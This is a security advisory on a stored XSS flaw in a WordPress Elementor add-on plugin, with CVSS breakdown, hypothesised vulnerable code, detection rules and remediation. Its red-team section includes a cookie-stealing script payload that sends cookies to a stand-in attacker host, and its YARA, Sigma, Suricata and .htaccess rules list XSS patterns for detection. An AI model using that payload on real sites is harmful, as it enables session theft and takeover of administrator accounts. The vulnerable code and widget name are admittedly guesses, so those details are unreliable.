CVE-2024-51575

Executive Summary

CVE-2024-51575 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Extender All In One For Elementor, developed by Md. Abdullah Al Masum. The vulnerability affects all versions up to and including 1.0.3. It allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's page for updates and consider disabling the plugin until a patch is released. No known supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder plugin could lead to widespread compromise of WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the extender-all-in-one-for-elementor plugin. The plugin likely processes user input (e.g., widget settings, custom fields) without proper sanitization or output encoding. When an attacker with contributor-level privileges inserts malicious JavaScript into a field that is later rendered on a page, the script is stored in the database. Upon subsequent visits to that page, the script executes in the context of the victim's browser.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) when outputting user-supplied data. This allows HTML and JavaScript to be injected.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page/post using Elementor and the vulnerable plugin's widgets.
3. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an input field.
4. The payload is stored in the WordPress database.
5. When an administrator or visitor views the page, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (example)
echo '<div class="extender-widget">' . $user_input . '</div>';

A patched version would use proper escaping:

// Patched code (example)
echo '<div class="extender-widget">' . esc_html( $user_input ) . '</div>';

The exact vulnerable functions are unknown, but the fix would involve applying esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Elementor and Extender All In One For Elementor (<=1.0.3) activated.
• Contributor-level account credentials.

Steps:

1. Log in to WordPress as a contributor.
2. Create a new page using Elementor.
3. Add the vulnerable widget (e.g., "Extender Text").
4. In the widget's content field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. Wait for an administrator to visit the page, or share the link with a victim.

Expected Outcome: The victim's cookies are exfiltrated to the attacker's server.

Blue Team

Detection:

• Monitor for unusual JavaScript in page/post content.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the WordPress database for <script> tags in wp_posts.post_content.
• Look for recent changes to pages/posts by contributor-level users.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/extender-all-in-one-for-elementor/ (entire plugin directory)
• Database: Entries in wp_posts.post_content containing <script> tags or event handlers (e.g., onload, onerror).
• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• Logs: WordPress audit logs showing creation/editing of pages by contributor users with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2024_51575_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress plugin Extender All In One For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51575"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Extender All In One For Elementor
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "extender-all-in-one-for-elementor"
    keywords:
        - "<script>"
        - "onload="
        - "onerror="
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51575 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"extender-all-in-one-for-elementor"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and clean any pages/posts created by contributor-level users for malicious content.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version (>=1.0.4) that properly escapes output.
• Users should update the plugin as soon as a patch is available.

Workarounds:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Add the following to .htaccess to block common XSS patterns:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (<script>|onload=|onerror=) [NC]
  RewriteRule .* - [F,L]
  

• Use a security plugin like Wordfence to monitor for XSS attempts.

Valters IT
Securing Digital Frontiers